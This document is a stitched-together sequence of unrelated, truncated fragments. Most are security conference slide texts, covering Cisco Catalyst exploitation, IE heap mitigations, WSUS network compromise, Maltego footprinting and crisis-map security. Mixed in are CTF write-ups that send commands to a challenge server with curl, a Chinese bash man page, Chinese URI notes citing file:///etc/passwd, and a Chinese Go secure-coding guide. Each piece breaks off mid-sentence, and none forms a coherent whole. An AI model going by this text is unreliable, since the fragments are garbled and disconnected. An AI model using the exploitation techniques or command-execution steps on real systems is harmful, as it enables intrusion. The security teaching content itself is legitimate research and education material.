time=608.136 ms 64 bytes from 72.193.81.105: icmp_seq=16


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TTBSP Jon R. Kibler Mike Cooper textbook.security@gmail.com Hack the Textbook: The Textbook Security Project Hack the Textbook TTBSP Introduction  The Problem  Fixing It  The Project  How You Can Help!  Demo  Q&A Hack the Textbook TTBSP The Problem  Most security problems are caused by bad code  Bad code is caused by students not being taught how to write good code  Most programming textbooks have no security content  Many programming textbooks actually teach insecure programming practices and/or use vulnerable code in their examples  Instructors have to teach what is in the textbooks  Most programming instructors are not security experts  Instructors are evaluated on how closely they follow the textbooks in a course Hack the Textbook TTBSP Fixing It  Industry View  Students should be taught good software development practices in school  Tired of having to retrain new graduates  Academic View  Not a real issue  Publishers would be pressuring authors to change their textbooks if there was a real need  Students should be learning theory, not application  No resources  Not every instructor is a security expert  Not enough class time to add material to courses Hack the Textbook TTBSP The Project  The Textbook Security Project: TTBSP.ORG HackTheTextbook.org Hack the Textbook TTBSP The Project  Immediate Goals:  Publicly expose security flaws in popular textbooks  Encourage authors to use secure software development practices in their textbooks  Revise existing textbooks  Get it right the first time in new textbooks Hack the Textbook TTBSP The Project  Long Term Objectives  To make secure software development practices the standard way programming is taught  To make security an integral part of every computer science course  To become a resource that textbook authors and classroom instructors can use to stay up-to-date on the latest software security issues Hack the Textbook TTBSP How You Can Help!  Everyone:  Identify textbooks and courses using them  Review textbooks  E


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Finding useful and embarrassing information with Maltego ANDREW MACPHERSON ROELOF TEMMINGH 2017  WAVESTONE 2 Dealing the Perfect hand Shuffling memory blocks on z/OS CICSPwn: tool to pentest CICS middleware on a Mainframe (Remote code execution, access control bypass, etc.) ELV.APF : script for escalating privileges using APF libraries on z/OS (Mainframe) ELV.SVC : script for looking for  magic  syscalls and abusing them to achieve root (Mainframe) Ayoub ELAASSAL @ayoul3__ Github.com/ayoul3 Agenda u Intro u Footprinting - the good the bad and the machines u Section One: u Hunting ICS devices online in novel ways u Section Two: u Hunting interesting organisations with Databreaches from their networks u Section Three: u Identifying individuals at interesting locations u Questions! u Beer. Who am I? u Andrew MacPherson u @AndrewMohawk u 10 yrs at Paterva! u Andrew@Paterva.com u Employee number: 00000001 u Tech support -> Webdev -> Win (@Paterva) u B.Information Science degree (2006) u With friends like mine. #draco malfoy #worstfriends #shamecon u Something about someone with a Maltego hammer Who was RT? u Roelof Temmingh u roelof@paterva.com u (co)Founder SensePost (2000) u Testing pens for 7 years u Building tools, writing books, doing talks u Founder Paterva (2007) u Managing director u High level design u New features u 14 x BlackHat, 5 x Defcon. Bluehat, Ekoparty, Cansecwest, Ruxcon, etc. u DCC, UE, FIRST, GovCERT What is Maltego? u Tons of tutorials u Videos too! HERE BE DEMOS! u Demos rely on: u Internet connection u Code working u Remote APIs working u Nothing to have changed u Sacrifices have been made but if you could keep your fingers, toes and tongues crossed that would help! u Or you are just gonna get pictures and interpretive dance Foot printing 101 Domain' DNS'Name' MX' Website' NS' IP'Address' Netblock' AS'Number' Sharing'MX' 9'methods'for'ﬁnding' DNS'names' Sharing'NS' TLD'expand' Mirror' Resolve'IP' Reverse'DNS' Historic'DNS' DNS'Name'' to'Domain' Bl


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## Steganography 1 (Stegano, 100p) Find image files in the file ![](MrFusion.gpjb) Please input flag like this format-->SECCON{*** ** **** ****} ###PL [ENG](#eng-version) Dostajemy plik o rozszerzeniu .gpjb. Polecenie `file` rozpoznaje go jako gif: ![](out.0.gif) Ale po otworzeniu tego pliku w hexedytorze okazuje się że plik ten składa się w rzeczywistości z dużej liczby obrazów sklejonych w jeden. Domyślamy się że "gpjb" pochodzi od rozszerzeń .gif, .png, .jpg oraz .bmp. Piszemy na szybko skrypt w pythonie który dzieli te pliki na fragmenty (szukając odpowiednich headerów formatów): ```python import re data = open('MrFusion.gpjb', 'rb').read() def findndx(str, data): return [m.start() for m in re.finditer(str, data)] ext = { '.gif': 'GIF89a', '.png': '\x89PNG', '.bmp': 'BM', '.jpg': '\xFF\xD8\xFF\xE0' } for ext, pat in ext.iteritems(): for n in findndx(pat, data): open('out.' + str(n) + ext, 'wb').write(data[n:]) ``` Następnie uruchamiamy go i otrzymujemy sporo obrazów, z których każdy odpowiada jednemu znakowi: ![](folder.png) Po przepisaniu: SECCON{OCT2120150728} Z powodu błedu w zadaniu flaga nie przechodziła sprawdzenia, więc do opisu zadania doszła informacja o wymaganym formacie flagi, więc ostateczna flaga: SECCON{OCT 21 2015 0728} ### ENG version We are given a file with .gpjb extension. `File` command recognises it as a gif: ![](out.0.gif) But after checking the file in hexeditor it turns out that the file is composed of large number of concantenated images. We guess that "gpjb" extension stands for gif, png, jpg and bmp file formats. We have written quick and dirty script to split file into fragments (according to format headers): ```python import re data = open('MrFusion.gpjb', 'rb').read() def findndx(str, data): return [m.start() for m in re.finditer(str, data)] ext = { '.gif': 'GIF89a', '.png': '\x89PNG', '.bmp': 'BM', '.jpg': '\xFF\xD8\xFF\xE0' } for ext, pat in ext.iteritems(): for n in findndx(pat, data): open('out.' + str(n) + ext, 'wb').write(dat


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New Exploit Mi-ga-on In Internet Explorer HITCON X @K33nTeam @KeenTeam @promised_lu About Me Amateur browser exploiter Main work is wri-ng fuzzers 2 3 Background Internet Explorer Vulnerability Sta-s-cs 4 2013  CVE-2013-0025 CParaElement Use-ARer-Free  CVE-2013-1311 CDOMTextNode Use-ARer-Free  CVE-2013-1347 CGenericElement Use-ARer-Free  CVE-2013-2551 COALineDashStyleArray Integer Overﬂow Pwn2Own  CVE-2013-3184 CFlatMarkupPointer Use-ARer-Free  CVE-2013-3205 CCaret Use-ARer-Free  CVE-2013-3893 CTreeNode Use-ARer-Free  CVE-2013-3897 CDisplayPointer Use-ARer-Free 5 2013  129 CVE  Most are Use-ARer-Free 6 2014  CVE-2014-0322 CMarkup Use-ARer-Free  CVE-2014-1776 CMarkup Use-ARer-Free 7 2014  135 CVE from January to July  More than 2013 8 Exploit Mi-ga-on  Virtual Table Guard is introduced in Internet Explorer 10  An--Use-ARer-Free 9 Virtual Table Guard 10 New Exploit Mi-ga-on  Isolated Heap is introduced in MS14-035  Memory Protector is introduced in MS14-037  Internet Explorer 6~11  An--Use-ARer-Free 11 Agenda  Isolated Heap  Memory Protector  Fuzzing Issues  Countermeasures 12 13 Isolated Heap g_hIsolatedHeap g_hIsolatedHeap = HeapCreate(0, 0, 0); if (g_hIsolatedHeap) { ULONG HeapInformation = 2; // Enable LFH HeapSetInformation(g_hIsolatedHeap, 0, &HeapInformation, sizeof(HeapInformation)); } 14 _MemIsolatedAlloc LPVOID __stdcall _MemIsolatedAlloc(SIZE_T dwBytes) { if (!dwBytes) dwBytes = 1; return HeapAlloc(g_hIsolatedHeap, 0, dwBytes); } 15 _MemIsolatedAllocClear LPVOID __stdcall _MemIsolatedAllocClear(SIZE_T dwBytes) { return HeapAlloc(g_hIsolatedHeap, 8, dwBytes); } 16 _MemIsolatedFree void __stdcall _MemIsolatedFree(LPVOID lpMem) { if (lpMem) MemoryProtection::HeapFree(g_hIsolatedHeap, 0, lpMem); } 17 Internet Explorer 6 18 Internet Explorer 6 19 Isolated Objects  All DOM Objects  Some Render Objects 20 How To Fill Isolated Objects In Use-ARer-Free  BSTR  String  Struct  Isolated Object 21 22 Memory Protector ULONG_PTR m_Block; // address of heap block SIZE_T m_


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.\" .\" MAN PAGE COMMENTS to .\" .\" Chet Ramey .\" Information Network Services .\" Case Western Reserve University .\" chet@ins.CWRU.Edu .\" .\" Last Change: Mon Jul 15 15:20:56 EDT 2002 .\" .\" bash_builtins, strip all but Built-Ins section .if \n(zZ=1 .ig zZ .if \n(zY=1 .ig zY .TH BASH 1 "2002 July 15" "GNU Bash-2.05b" .\" .\" There's some problem with having a `@' .\" in a tagged paragraph with the BSD man macros. .\" It has to do with `@' appearing in the }1 macro. .\" This is a problem on 4.3 BSD and Ultrix, but Sun .\" appears to have fixed it. .\" If you're seeing the characters .\" `@u-3p' appearing before the lines reading .\" `possible-hostname-completions .\" and `complete-hostname' down in READLINE, .\" then uncomment this redefinition. .\" .de }1 .ds ]X \&\\*(]B\\ .nr )E 0 .if !"\\$1"" .nr )I \\$1n .}f .ll \\n(LLu .in \\n()Ru+\\n(INu+\\n()Iu .ti \\n(INu .ie !\\n()Iu+\\n()Ru-\w\\*(]Xu-3p \{\\*(]X .br\} .el \\*(]X\h|\\n()Iu+\\n()Ru\c .}f .. .\" .\" File Name macro. This used to be `.PN', for Path Name, .\" but Sun doesn't seem to like that very much. .\" .de FN \fI\|\\$1\|\fP .. .SH NAME bash \- GNU Bourne-Again SHell (GNU 命令解释程序 \(lqBourne二世\(rq) .SH "概述(SYNOPSIS)" .B bash [options] [file] .SH "版权所有(COPYRIGHT)" .if n Bash is Copyright (C) 1989-2002 by the Free Software Foundation, Inc. .if t Bash is Copyright \(co 1989-2002 by the Free Software Foundation, Inc. .SH "描述(DESCRIPTION)" .B Bash 是一个与 \fIsh\fP 兼容的命令解释程序可以执行从标准输入或者文件中读取的命令 .B Bash 也整合了 \fIKorn\fP 和 \fIC\fP \fIShell\fP (\fBksh\fP 和 \fBcsh\fP) 中的优秀特性 .PP .B Bash 的目标是成为遵循 IEEE POSIX Shell and Tools specification (IEEE Working Group 1003\.2可移植操作系统规约 shell 和工具) 的实现 .SH "选项(OPTIONS)" 除了在 \fBset\fR 内建命令的文档中讲述的单字符选项 (option) 之外\fBbash\fR 在启动时还解释下列选项 .PP .PD 0 .TP 10 .BI \-c "\| string\" 如果有 .B \-c 选项那么命令将从 .IR string 中读取如果 .IR string 后面有参数 (argument)它们将用于给位置参数 (positional parameter以 .BR $0 起始) 赋值 .TP .B \-i 如果有 .B \-i 选项shell 将交互地执行 ( .IR interactive ) .TP .B \-l 选项使得 .B bash 以类似登录 shell (login shell


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Ode to the DEFCON 15 Badge Joe Grand (Kingpin) 170 hours of total time spent 2 nights of my honeymoon (oh, how I lament!) 3 circuit board revisions to get it all right 863,600 total components bring them to light 6,800 hackers wearing the badge in all its glory If you want to learn more, please read this fine story A matrix of 95 LEDs (5 columns by 19 row) Two coin cell batteries make the current flow Six text cutouts and soldermask colors to show If you're a human, speaker, goon, vendor, press, or uber bro On power up the badge will not make a peep But fear not, that's by design, it is only asleep Touch the top icon (it's a button, really) And get a scrolling text message intended for thee Touch the top icon yet again (just trust me) And you'll move to the next mode for custom text message entry Hit the bottom icon to begin your noble quest Then use either icon to cycle through the list Tap both icons to save a character to your queue 16 letters long is the maximum we can do When you're all done, seek out the solid block Tap both icons again and on the screen your message will walk The next mode sets the speed of your inscription You can change it like a baud rate or a doctor's drug prescription Select the scroll velocity between the numbers 1 and 5 Which goes from slow and boring to a thrilling autobahn drive (Remember to tap both icons for the badge to come alive) Next we arrive at our last badge state (finally) A special treat known as persistence-of-vision or POV Wave the badge in front of your eyes in one direction And a secret message appears magically like the morning's first erection If all you see is a jumbled mess of bright lights Try hiding in the darkness, squinting your eyes, or changing those hard-coded bytes (When your badge is not in use, set the mode back to snooze) The source code is open and the schematics are free (as in beer) So now you can be a hardware hacking engineer Unpopulated footprints for a wireless transceiver and accelerometer If you


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Defending Networks with Incomplete Information: A Machine Learning Approach DefCon 21  2013 Page 1 Defending Networks with Incomplete Information: A Machine Learning Approach Introduction and Abstract Let's face it: we may win some battles, but we are losing the war pretty badly. Regardless of the advances in malware and targeted attacks detection technologies, our top security practitioners can only do so much in a 24 hour day. Even less, if you consider they need to eat and sleep. On the other hand, there is a severe shortage of capable people to do "simple" security monitoring effectively, let alone complex incident detection and response. Enter the use of Machine Learning as a way to automatically prioritize and classify potential events and attacks as something can could potentially be blocked automatically, is clearly benign, or is really worth the time of your analyst. In this Whitepaper we will present publicly for the first time an actual implementation of those concepts, in the form of a free-to-use web service. It leverages OSINT sources and knowledge about the spatial distribution of the Internet to generate a fluid and constantly updated classifier that pinpoints areas of interest on submitted network traffic and security tool log sources. Whitepaper Topics: Introduction and Abstract .................................................................................................................. 1 Security Monitoring: We are doing it wrong............................................................................. 2 Machine Learning and the Robot Uprising ................................................................................ 2 More attacks = more data = better defenses ............................................................................. 5 Designing a model to detect external agents with malicious behavior ........................ 6 Data Collection ......................................................................................


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Cisco Catalyst Exploitation Artem Kondratenko @artkond Whoami -Penetration tester @ Kaspersky Lab -Hacker -OSC(P|E) -Skydiver ;) Long story short  On March 26th 2017 Cisco announces that numerous models of switches are vulnerable to unauthenticated remote code execution vulnerability  No signs of exploitation in the wild  No exploit available Cisco advisory Cisco advisory Vendor advice: Disable telnet Disable telnet folks  Telnet is an old legacy protocol Disable telnet folks  Telnet is an old legacy protocol  SSH has been around for decades  a secure replacement for telnet Disable telnet folks  Telnet is an old legacy protocol  SSH has been around for decades  a secure replacement for telnet  Even more: according to the advisory, using telnet on a catalyst switch might be simple way for the attacker fully compromise the switch Still not convinced  No public exploit  No knowledge of in-the-wild exploitation  Critical-shmitical, should we even care? Public sources for researching the vulnerability  Cisco advisory  Vault 7 leak Vault 7: Hacking Tools Revealed Hacking techniques and potential exploit descriptions for multiple vendors. This was the source Cisco Systems used for their research on the advisory released on March 26th Cisco switch exploit Codename: ROCEM Cisco switch exploit Codename: ROCEM Cisco switch exploit Codename: ROCEM Rocem: Modes of Interaction  Set  Run exploit to set credless authentication  Unset  Run exploit to set credentials back in place  Interactive Mode  Exploit the system and present the attacker with shell immediately Easy enough. The perfect plan  Take two switches  Cluster dem switches!  Look for a magic whatever there is in the traffic  ???  Profit!!! Clustering Cisco switches Controlling Slave-switches from Master $ telnet 192.168.88.10 catalyst1#rcommand 1 catalyst2#show priv Current privilege level is 15 Clustering Catalyst switches Telnet? Clustering Cisco switches: L2 telnet Magic telnet option Telnet Debug log from Vault ROCEM


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One-Man Shop How to build a functional security program with limited resources DEF CON 22 One-Man Shop  Agenda  Caveats & Considerations  People and Processes  Network Architecture  System Design  Continuous Monitoring  External Validation  Compliance Security Program Hierarchy of Needs Compliance External Validation Continuous Monitoring Secure System Design Secure Network Architecture People and Processes Caveats and Considerations  This is going to take Organizational Support  Security still answers to The Business  Security cannot mature past the Organization  Be realistic. The sky isnt falling.  Schedule time to stop firefighting  Just do the right thing Security Program Hierarchy of Needs Compliance External Validation Continuous Monitoring Secure System Design Secure Network Architecture People and Processes People and Processes  People  within the organization  Identify who they are and what roles they play  Negotiate sole ownership of systems and processes  even better - RACI Matrix  Most people take accountability seriously  Set and communicate expectations  The Business  owns the data  owns compliance  will get the fines and have charges pressed People and Processes  People  within IT  Recruit help. Make them aware of your plans  A good sysadmin or network person will make a good security liason. That may be you. People and Processes  "Security needs to be embedded."  "Security is (part of) a process"  Consistency through Automation...  and Security through Consistency  Here's where your help comes in... People and Processes  Identify and document processes  As simple as a check list  "Swim lanes" flow chart to show handoffs  Identify where security can fit in best  Doesn't necessarily require security staff review  Can be a checklist or guideline for department  Examples:  Purchasing Standardized Equipment  Server and Workstation Management  Inventory People and Processes  Speaking of Inventory: KNOW YOUR ENVIRONMENT  Identify devices on your network and


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# Secret Service * Category: Cryptography * 1500 Points * Solved by the JCTF Team ## Description > Hello there, > > In order for us to trust you, you must prove the you either have access to our RSA keys or already have the encrypted command: "FLAGPLX" (flag please thanks, in short). > > Come back to us when you have the flag so we know who we're talking to. > > http://secretservice.challenges.bsidestlv.com/index.php ## Solution We enter the website and see two APIs: 1. Execute an encrypted command and view the result 2. "Create Demo Commands" - view the encrypted value for a list of several example commands The demo commands included the following options: * Number 2 * Number 3 * Number 4 * Number 5 * Number 6 * Number 7 * Number 8 * Number 9 * cat hi.txt * cat bye.txt * CANIHAZSOME? Selecting a demo command returned the encrypted version of it, encoded in Base 64: ```console root@kali:/media/sf_CTFs/bsidestlv/Secret_Service# curl "http://secretservice.challenges.bsidestlv.com/index.php?action=demo&value=2" && echo "" NDQ5NTAyMTI4NDQ0NTY2OTAyMjQ4NDA5NjczNjQ5MjY5ODAzNjEyOTkxMTU0NzQ3NDE5NzYxMzI0MjcyOTE1MDM3NjQ1NTUxMTAwNTc= root@kali:/media/sf_CTFs/bsidestlv/Secret_Service# curl "http://secretservice.challenges.bsidestlv.com/index.php?action=demo&value=cat%20hi.txt" && echo "" MTc3MzA0MDM4NDk0OTExNzQyODYyOTM3ODIxMDk5MTAwNDU2NjgyNTAxMDY2NjYyODcxNjQzMjQ5MTkxNDI3MDg2MDY3MTQwMjk1ODM= ``` We could later send this to the "execute" API, and see the return value: ```console root@kali:/media/sf_CTFs/bsidestlv/Secret_Service# curl "http://secretservice.challenges.bsidestlv.com/index.php?action=execute&value=NDQ5NTAyMTI4NDQ0NTY2OTAyMjQ4NDA5NjczNjQ5MjY5ODAzNjEyOTkxMTU0NzQ3NDE5NzYxMzI0MjcyOTE1MDM3NjQ1NTUxMTAwNTc=" && echo "" 2 root@kali:/media/sf_CTFs/bsidestlv/Secret_Service# curl "http://secretservice.challenges.bsidestlv.com/index.php?action=execute&value=MTc3MzA0MDM4NDk0OTExNzQyODYyOTM3ODIxMDk5MTAwNDU2NjgyNTAxMDY2NjYyODcxNjQzMjQ5MTkxNDI3MDg2MDY3MTQwMjk1ODM=" && echo "" cat hi.


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URI相关 0x00 前 最近看了些关于url的技巧感觉对url的相关基础其实搞不太清楚所以脆从头仔细再学遍 主要参考些链接 https://datatracker.ietf.org/doc/html/rfc3986#section-1.1 https://docs.oracle.com/javase/8/docs/api/java/net/URI.html https://blog.csdn.net/anguowei/article/details/118381316 0x01 什么是uriurlurn uri(uniform resource identifier)统资源标识符于标识络上任意资源 urluniform resource locator统资源定位符通常表示资源的位置获取式等 urnuniform resource name统资源名称表示络上唯存在的资源名称即使资源不存在了们也可以继续使名称讨论他 其三者的关系如下图 很显然urn和url只是uri的两个集uri也还会包含其他的些分类不过那些分类很众基本不到也就是说部分时候我们看到的就 是url和urn最最常的如址等就是url我们在磁链接中则会看到urn的身影 再通俗点说urn就像个资源的名字如部蜘蛛侠电影我们在现实社会中会叫这部电影蜘蛛侠当我们说这个名字的时候别也 会知道说的是这部电影在络世界中针对某个唯的资源如蜘蛛侠电影的名字串urn来唯标识这样论在哪个站当我们 提到这个urn的时候该站通过解析就能知道我们说的是蜘蛛侠电影 那么url是什么呢如我们去A站和B站分别搜索蜘蛛侠电影他们会各返回各站上的蜘蛛侠电影播放链接这两个链接肯定是不相 同的因为他们分别指向A站和B站服务器上的某个蜘蛛侠电影的资源副本并且告诉户如何去访问什么参数在那个录下 等很显然url就是指代具体资源的位置访问法等同个urn可能对应络上N个url因为蜘蛛侠电影的副本资源在各站上 都有 0x02 格式 前说了主要的uri分为urn和url两类给出些例 ftp://ftp.is.co.za/rfc/rfc1808.txt http://www.ietf.org/rfc/rfc2396.txt ldap://[2001:db8::7]/c=GB?objectClass?one mailto:John.Doe@example.com news:comp.infosystems.www.servers.unix tel:+1-816-555-1212 telnet://192.0.2.16:80/ urn:oasis:names:specification:docbook:dtd:xml:4.1.2 其具体格式如下 上图是rfc中的解释不过他的图显示有问题所以可以看下这个 foo://example.com:8042/over/there?name=ferret#nose \_/ \______________/\_________/ \_________/ \__/ | | | | | scheme authority path query fragment | _____________________|__ / \ / \ urn:example:animal:ferret:nose 相信很多同学多少有点基础所以上有些就不再说了看下authority authority = [ userinfo "@" ] host [ ":" port ] authority由//标识开始并在下个/或者#或者或者末尾时结束 总之只要知道//开始的是authority的标识当然authority可以为空这样我们就可以很好理解file:///etc/passwd这种形式了也就是说 authority为空然后后跟上path因此会有三个/ 这最后再提个概念SchemeSpecificPart [scheme:]scheme-specific-part[#fragment] 0x03 不透明和分级uri uri也可以分为不透明的和分级的uri两类 如果个uri的scheme-spcific-part不以/开头则称他为不透明的通常这种uri的scheme-spcific-part部分不会再做进步的解析可能对 应的scheme有专属的解析器来解析但少不会按照通常那样来解析各个部分例如下 mailto:java-net@java.sun.com news:comp.lang.java urn:isbn:096139210x 分级URI就是我们经常的那种scheme后以/开头或者是没有scheme的相对uri都属于分级uri会按照前说的格式来尝试解释各个部 分例如下: http://java.sun.com/j2se/1.3/


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Lives on the Line Securing Crisis Maps in Libya, Sudan, and Pakistan DEFCON 19 - 2011 george chamales - rogue genius llc george chamales // DEFCON USA - 2011 The Humanitarian Technology Community needs your help. 2 george chamales // DEFCON USA - 2011 Crisis Aid Information Crisis Mapping Platform Reports Aid Aid 3 george chamales // DEFCON USA - 2011 Text http://news.bbc.co.uk/2/hi/8460574.stm Haiti 4 george chamales // DEFCON USA - 2011 Demande aide 4636 je suis perdu enbas une maison 2 etage no 147 av christophe chanel cafour I'm asking for help. I am lost beneath a house. Second Floor 147 Avenue Christophe Chanel Carrefour Mission 4636 5 george chamales // DEFCON USA - 2011 http://southallpakistanﬂoodsappeal.org/2010/08/24/urgent-appeal-for-pakistan-ﬂoods/ss-100730-pakistan-ﬂood-05_ss_full/ Natural Disasters Dont Shoot Back 6 george chamales // DEFCON USA - 2011 http://southallpakistanﬂoodsappeal.org/2010/08/24/urgent-appeal-for-pakistan-ﬂoods/ss-100730-pakistan-ﬂood-05_ss_full/ Pakistan 7 george chamales // DEFCON USA - 2011 8 george chamales // DEFCON USA - 2011 http://www.satsentinel.org/sites/default/ﬁles/SSP%2016%20Final%20Smaller.pdf Sudan 9 george chamales // DEFCON USA - 2011 Site Blocked by IP address Obviously Faked Reports Inadvertent Spam DOS 10 george chamales // DEFCON USA - 2011 Libya REUTERS http://warincontext.org/2011/03/08/the-ﬁght-for-libya-6/ REUTERS 11 george chamales // DEFCON USA - 2011 Trusting Volunteer Analysts Protecting Observers Verifying Information 12 george chamales // DEFCON USA - 2011 January 2010 June 2011 Haiti Libya Syria Bahrain Egypt < 18 Months 13 george chamales // DEFCON USA - 2011 http://twitter.com/#!/JosetteSheeran/status/44358346014334976 14 george chamales // DEFCON USA - 2011 We gave Egyptian National Security a dedicated username and password [to access the Ushahidi platform] http://irevolution.net/2011/05/25/u-shahid-interviews/ 15 george chamales // DEFCON USA - 2011 Capability Attacks Security Ooh Shiny! Oh $#


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WSUSPENDU / 52 Yves Le Provost & Romain Coltel ANSSI WSUSpendu USE WSUS TO HANG ITS CLIENTS SATURDAY, 29TH JULY 2017 YVES LE PROVOST & ROMAIN COLTEL WSUSPENDU / 52 Yves Le Provost & Romain Coltel Who we are, what we do - Yves Le Provost - Security auditor for more than 10 years - Currently works for French cyber defense Agency (ANSSI) - Specializes in SCADA and database assessments, but masters any other field ;-) - Romain Coltel - Former security auditor - Currently works for a disruptive startup - Developing next-gen Active Directory security product 2 WSUSPENDU / 52 Yves Le Provost & Romain Coltel The problem Sometimes, compromising a network is not that easy. 3 WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 4 You WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 5 Internet-connected network Servers Workstations Domain controllers You WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 6 Internet-connected network Servers Workstations Domain controllers You WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 7 Internet-connected network Servers Workstations Domain controllers You WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 8 Internet-connected network Disconnected network Physical boundary Servers Workstations Domain controllers You WSUSPENDU / 52 Yves Le Provost & Romain Coltel The solution? Sometimes, compromising a network might not be as far as we think. 9 WSUSPENDU / 52 Yves Le Provost & Romain Coltel Potential compromise scenario 10 Internet-connected network Disconnected network Physical boundary WSUS Server WSUS Server WSUSPENDU / 52 Yves Le Provost & Romain Coltel Potential compromise scenario 11 Internet-connected network Disconnected network Physical boundary WSUS Server WSUS Server ? ? ? WSUSPENDU / 52 Yves Le Provost & Romain Coltel Windows Server Update Services (WSUS) 12 Enterprise network HTTPS HTTP Microsoft Update www WSUS WSUSPENDU / 52 Yves Le Provost & R


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Examining the Internets Pollution! Karyn Benson! kbenson@cs.ucsd.edu! 2 https://www.reddit.com/r/AskReddit/comments/2pjsf9/garbage_men_of_reddit_whats_the_most_illegal/ 3 http://www.owensworld.com/funny-pictures/vehicles/2-cars-dumpster People throw out interesting and valuable items 4 This talk: what sort of interesting and valuable information can we ﬁnd in the Internets trash? 5 About me  I studied Internet trash for the last 4 years of my PhD  Before grad school: wrote intrusion detection software 6 Outline  What is Internet trash?  How can we collect trash?  Data for this presentation  Interesting and valuable items found in trash  Conclusion 7 What is Internet trash?  Unsolicited packets  Passively captured  Also called Internet Background Radiation (IBR) 8 Trafﬁc: Scanning  Searching for hosts that run a service 9  Host responds to forged packets 7.7.7.7 Trafﬁc: Backscatter Victim Attacker 1.2.3.4 3.3.3.3 From: 1.2.3.4 To: 3.3.3.3 SYN 10  Host responds to forged packets 7.7.7.7 Trafﬁc: Backscatter Victim Attacker 1.2.3.4 3.3.3.3 From: 3.3.3.3 To: 1.2.3.4 SYN-ACK 11 Trafﬁc: Misconﬁguration  Host erroneously believes that a machine is hosting a service DNS Servers: 5.5.5.5 6.6.6.6 1.2.3.4 X 12 Trafﬁc: Bugs DNS Servers: 4.3.2.1 1.2.3.4  Software errors cause packets to reach unintended destinations To: 1.2.3.4 DNS Query 13 Trafﬁc: Spoofed  Hosts forge their IP address to make it appear as though it originates from a diﬀerent source 3.3.3.3 1.2.3.4 From: 2.2.2.2 To: 1.2.3.4 SYN 14 Trafﬁc: Unknown  Traﬃc produced for an unknown purpose  TCP SYN to non-standard port  Encrypted UDP packets  UDP with unknown payload 6:00:06.000065 IP 111.248.55.49.51956 > 1.16.56.246.7605: UDP, length 19 0x0000: 4500 002f 6c48 0000 7011 ---- 6ff8 3731 E../lH..p..Fo.71 0x0010: 0110 38f6 caf4 1db5 001b 8298 7133 0f00 ,.8.........q3.. 0x0020: 643e c2d4 2cf5 42b5 810f 7f01 5344 1e d>..,.B.....SD. 15 How can we collect trash? 16 How to collect unsolicited trafﬁc  Honeypots: Setting up mac


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Next Generation Data Forensics & Linux Thomas Rude, CISSP August 2002 Agenda Thomas Rude,  2002  Overview of Data Forensics  Agents of Change  Future of Data Forensics  Linux as Next Generation Data Forensics platform  Questions Data Forensics, Infancy Thomas Rude,  2002 Historically data forensics has focused on imaging and analyzing standalone personal computers (PCs). - small hard drives - DOS-based utilities Evolving Data Forensics Thomas Rude,  2002 First agents of change; - significantly larger hard drives (>500MB) - significant increase in number of PCs - increase in use of PCs in crimes Evolving Data Forensics Thomas Rude,  2002 Second agents of change; - significant increase in use of non-PC devices - servers, handhelds, digital cameras, etc. - increase in non-Windows operating systems - MacOS, UNIX flavors, Linux flavors, etc. Evolving Data Forensics Thomas Rude,  2002 Where does the data forensic community stand today? Electronic data is stored in many devices, ranging from wrist watches, telephony boxes, and enterprise servers. Increasingly forensic examiners are dealing with 'non-traditional' PCs, corporate security personnel are first responders to incidents, and critical data is residing in volatile system memory. NG Forensics Defined Thomas Rude,  2002 "The scientific process of imaging and analyzing data stored in any electronic format, for the purpose of reporting findings in a neutral manner, with no predisposition as to guilt or innocence." farmerdude, 2002 NG Forensics & Linux Thomas Rude,  2002 Next generation data forensics platform of choice? Linux NG Forensics & Linux Thomas Rude,  2002 What makes Linux so powerful? - everything, including hardware, is a file - support for numerous file system types - ability to analyze a live system in a minimally invasive manner - ability to chain commands - ability to monitor and log processes & commands - ability to review source code - ability to create bootable media NG Forensics & Linux Thomas Rude,


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英文地址 翻译blood_zer0Lingﬁghting 如果翻译的有问题联系我(Lzero2012)匆忙翻译肯定会有很多错误欢迎大家一起讨论Go语言安全能力力建设 Go语言-Web应用程序安全编码实践是为了了给任何使用Go进行行编程与Web开发的人员提供指导 这本书是Checkmarx安全研究团队共同努力力的结晶它遵循OWASP安全编码实践快速参考指南 这本书主要的目的是为了了帮助开发人员避免常见错误同时通过"实践方法"学习编程语言心得本书提供了了关于"如何安全执行行"详细信息展示了了在 开发过程中可能出现的安全问题 Checkmarx是一家应用程序软件安全公司公司使命是为企业组织提供应用程序安全测试产品与服务提高开发人员交付安全应用程序拥有1000 家客服包括全球十大软件供应商中的物价美国顶级银行行中的四家以及许多财富500强和政府机构包括SAP三星和Salesforce.com 关于Checkmarx的更更多信息可以访问checkmarx.com或者关注我们的twitter@checkmarx "安全编程实践快速参考指南"是OWASP开源Web安全项目它是一种"技术无关的通用软件安全编程实践集采用全面的列列表格式可以集成到开发 生命周期中" OWASP本身是"一个开放的社区致力力于使组织能够构思开发获取操作和维护可信任的应用程序所有的OWASP工具文档论坛和章节都 是免费的并且对任何有兴趣提高应用程序安全性的人开放" 在Web应用程序安全性中如果未对用户输入及相关数据进行行验证则会存在安全风险我们通过"输入验证"与"输出处理理"技术来解决这些问题根据 服务器器的功能应在应用程序的每个层中执行行这些验证重要的一点是所有数据验证程序必须在可信系统上即在服务器器上完成 如"OWASP SCP快速参考指南"中所述有16个要点涵盖了了开发人员在处理理输入验证时应注意的问题在开发应用程序时缺乏对这些安全风险的考虑 是注入"OWASP Top 10"中排名第一的主要原因之一 用户交互是Web应用程序当前开发范例例的主要内容随着Web应用程序内容和可能性越来越丰富用户交互和提交的用户数据也会增加正是在这种 背景下输入验证起着重要作用 当应用程序处理理用户数据时默认情况下提交的数据必须被视为不不安全并且只有在进行行了了适当的安全检查后才能接受还必须将数据源标识为受信 任或不不受信任并且在不不受信任的源的情况下必须进行行验证检查 在验证检查中根据一组条件检查用户输入以保证用户确实输入了了预期数据 重要信息如果验证失败则必须拒绝输入 这不不仅从安全角度而且从数据一致性和完整性的角度来看很重要因为数据通常用于各种系统和应用程序 本文列列出了了开发人员在Go中开发Web应用程序时应注意的安全风险 Go语言安全编码规范-翻译 介绍 关于Checkmarx 关于OWASP安全编程实践 输入验证 验证 用户交互 bloodzer0&Lingfighting 允许用户输入的应用程序的任何部分都存在潜在的安全风险 问题不不仅可能来自寻求危害应用程序的方法也可能来自人为错误导致的错误输入 统计上大多数无效数据情况通常是由人为错误引起的 在Go中有几种方法可以防止此类问题 Go具有本机库其中包括有助于确保不不会发生此类错误的方法 